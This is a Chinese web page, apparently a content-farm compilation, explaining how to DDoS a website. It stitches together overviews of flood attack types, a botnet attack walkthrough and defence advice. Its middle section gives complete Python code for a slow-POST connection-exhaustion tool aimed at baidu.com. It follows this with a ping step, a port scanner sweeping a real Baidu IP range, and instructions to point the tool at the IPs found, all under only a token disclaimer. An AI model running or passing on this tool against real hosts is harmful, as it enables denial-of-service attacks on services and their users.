ddos攻击网页端_怎么ddos网站攻击

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常见DDoS攻击方式有哪些

DDoS攻击通过大量合法的请求占用大量网络资源,以达到瘫痪网络的目的。 这种攻击方式可分为以下几种:

通过使网络过载来干扰甚至阻断正常的网络通讯;

通过向服务器提交大量请求,使服务器超负荷;

阻断某一用户访问服务器;

阻断某服务与特定系统或个人的通讯。

IP Spoofing

IP欺骗攻击是一种黑客通过向服务端发送虚假的包以欺骗服务器的做法。具体说,就是将包中的源IP地址设置为不存在或不合法的值。服务器一旦接受到该包便会返回接受请求包,但实际上这个包永远返回不到来源处的计算机。这种做法使服务器必需开启自己的监听端口不断等待,也就浪费了系统各方面的资源。

LAND attack

这种攻击方式与SYN floods类似,不过在LAND attack攻击包中的原地址和目标地址都是攻击对象的IP。这种攻击会导致被攻击的机器死循环,最终耗尽资源而死机。

ICMP floods

ICMPfloods是通过向未良好设置的路由器发送广播信息占用系统资源的做法。

Application

与前面叙说的攻击方式不同,Application level floods主要是针对应用软件层的,也就是高于OSI的。它同样是以大量消耗系统资源为目的,通过向IIS这样的网络服务程序提出无节制的资源申请来迫害正常的网络服务。

网络安全技术 常见的DDoS攻击方法有哪些

常见的DDoS攻击方法有:

1、SYN/ACK Flood攻击

这种攻击方法是经典最有效的DDOS攻击方法,可通杀各种系统的网络服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,由于源都是伪造的故追踪起来比较困难,缺点是实施起来有一定难度,需要高带宽的僵尸主机支持。少量的这种攻击会导致主机服务器无法访问,但却可以Ping的通,在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态,大量的这种攻击会导致Ping失败、TCP/IP栈失效,并会出现系统凝固现象,即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。

2、TCP全连接攻击

这种攻击是为了绕过常规防火墙的检查而设计的,一般情况下,常规防火墙大多具备过滤TearDrop、Land等DOS攻击的能力,但对于正常的TCP连接是放过的,殊不知很多网络服务程序(如:IIS、Apache等Web服务器)能接受的TCP连接数是有限的,一旦有大量的TCP连接,即便是正常的,也会导致网站访问非常缓慢甚至无法访问,TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽而被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因此此种DDOS攻击方式容易被追踪。

3、刷Script脚本攻击

这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大的攻击方法。一般来说,提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的,而服务器为处理此请求却可能要从上万条记录中去查出某个记录,这种处理过程对资源的耗费是很大的,常见的数据库服务器很少能支持数百个查询指令同时执行,而这对于客户端来说却是轻而易举的,因此攻击者只需通过Proxy代理向主机服务器大量递交查询指令,只需数分钟就会把服务器资源消耗掉而导致拒绝服务,常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Proxy代理就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些Proxy会暴露DDOS攻击者的IP地址。

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

ddos如何攻击mc

攻击者发动一次DDoS攻击大概需要经过了解攻击目标、攻占傀儡机、发动实际攻击三个主要步骤:

1.

了解攻击目标 就是首先准确并且全面地了解攻击目标具体情况,以便对将要发动的攻击做到胸有成竹。主要了解的内容包括被攻击目标的主机数量、IP地址、主机的配置、主机的性能以及主机的带宽等等。 对于DDoS攻击者来说,攻击互联网上的某个站点,最重点的是确认支持该站点的主机数量,一个大型的网站背后可能会有很多台主机使用负载均衡技术支撑服务。以上所提到的攻击目标的信息都会影响到后面两个步骤的实施目标和策略。因为盲目地发动DDoS攻击成功率是很低的,并且容易暴露攻击者的身份。

2.

攻占傀儡主机 就是尽可能多地控制“肉鸡”机器,并且在其机器上安装相应的攻击程序。在主控机上安装控制攻击的程序,而攻击机则安装DDoS攻击的发包程序。成为攻击者手下肉鸡的多数是那些链路状态好、性能好同时安全管理水平差的主机。攻击者一般会利用已有的或者未公布的一些系统或者应用软件漏洞入侵并取得一定的控制权,最基本的是在此主机上安装攻击实施所需要的程序。 在早期发动DDoS攻击,攻占傀儡主机这一步主要是攻击者自己手动完成的,亲自扫描网络来发现安全性较差的主机,将其攻占并且安装攻击程序。但是后来随着DDoS攻击和蠕虫的相融合,攻占傀儡机已变成了一个自动化的过程,攻击者只要将蠕虫放入网络中,蠕虫就会在不断扩散中攻占主机,这样攻占的主机数量可以说是相当大,发动的DDoS攻击的威力可想而知。

3.

发动实际攻击 这是DDoS攻击的最后一个阶段,也是最终目的。攻击者通过主控机向攻击机发出攻击指令,或者按照原先设定好的攻击时间和目标,攻击机不停的向目标发送大量的攻击包,来淹没被攻击者,达到拒绝服务的最终目的。 和前两个过程相比,实际攻击过程倒是更简单的一个阶段,一些有经验的攻击者可能还会在攻击的同时通过各种手段检查攻击效果,甚至在攻击过程中动态调整攻击策略,尽可能清除在主控机和攻击机上留下的相关痕迹。

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怎么防御DDoS攻击?

一.网络设备设施

网络架构、设施设备是整个系统得以顺畅运作的硬件基础,用足够的机器、容量去承受攻击,充分利用网络设备保护网络资源是一种较为理想的应对策略,说到底攻防也是双方资源的比拼,在它不断访问用户、夺取用户资源之时,自己的能量也在逐渐耗失。相应地,投入资金也不小,但网络设施是一切防御的基础,需要根据自身情况做出平衡的选择。

1. 扩充带宽硬抗

网络带宽直接决定了承受攻击的能力,国内大部分网站带宽规模在10M到100M,知名企业带宽能超过1G,超过100G的基本是专门做带宽服务和抗攻击服务的网站,数量屈指可数。但DDoS却不同,攻击者通过控制一些服务器、个人电脑等成为肉鸡,如果控制1000台机器,每台带宽为10M,那么攻击者就有了10G的流量。当它们同时向某个网站发动攻击,带宽瞬间就被占满了。增加带宽硬防护是理论最优解,只要带宽大于攻击流量就不怕了,但成本也是难以承受之痛,国内非一线城市机房带宽价格大约为100元/M*月,买10G带宽顶一下就是100万,因此许多人调侃拼带宽就是拼人民币,以至于很少有人愿意花高价买大带宽做防御。

2. 使用硬件防火墙

许多人会考虑使用硬件防火墙,针对DDoS攻击和黑客入侵而设计的专业级防火墙通过对异常流量的清洗过滤,可对抗SYN/ACK攻击、TCP全连接攻击、刷脚本攻击等等流量型DDoS攻击。如果网站饱受流量攻击的困扰,可以考虑将网站放到DDoS硬件防火墙机房。但如果网站流量攻击超出了硬防的防护范围(比如200G的硬防,但攻击流量有300G),洪水瞒过高墙同样抵挡不住。值得注意一下,部分硬件防火墙基于包过滤型防火墙修改为主,只在网络层检查数据包,若是DDoS攻击上升到应用层,防御能力就比较弱了。

3. 选用高性能设备

除了防火墙,服务器、路由器、交换机等网络设备的性能也需要跟上,若是设备性能成为瓶颈,即使带宽充足也无能为力。在有网络带宽保证的前提下,应该尽量提升硬件配置。

二、有效的抗D思想及方案

硬碰硬的防御偏于“鲁莽”,通过架构布局、整合资源等方式提高网络的负载能力、分摊局部过载的流量,通过接入第三方服务识别并拦截恶意流量等等行为就显得更加“理智”,而且对抗效果良好。

4. 负载均衡

普通级别服务器处理数据的能力最多只能答复每秒数十万个链接请求,网络处理能力很受限制。负载均衡建立在现有网络结构之上,它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性,对DDoS流量攻击和CC攻击都很见效。CC攻击使服务器由于大量的网络传输而过载,而通常这些网络流量针对某一个页面或一个链接而产生。在企业网站加上负载均衡方案后,链接请求被均衡分配到各个服务器上,减少单个服务器的负担,整个服务器系统可以处理每秒上千万甚至更多的服务请求,用户访问速度也会加快。

5. CDN流量清洗

CDN是构建在网络之上的内容分发网络,依靠部署在各地的边缘服务器,通过中心平台的分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率,因此CDN加速也用到了负载均衡技术。相比高防硬件防火墙不可能扛下无限流量的限制,CDN则更加理智,多节点分担渗透流量,目前大部分的CDN节点都有200G 的流量防护功能,再加上硬防的防护,可以说能应付目绝大多数的DDoS攻击了。这里我们推荐一款高性比的CDN产品:百度云加速,非常适用于中小站长防护。相关链接

6. 分布式集群防御

分布式集群防御的特点是在每个节点服务器配置多个IP地址,并且每个节点能承受不低于10G的DDoS攻击,如一个节点受攻击无法提供服务,系统将会根据优先级设置自动切换另一个节点,并将攻击者的数据包全部返回发送点,使攻击源成为瘫痪状态,从更为深度的安全防护角度去影响企业的安全执行决策。

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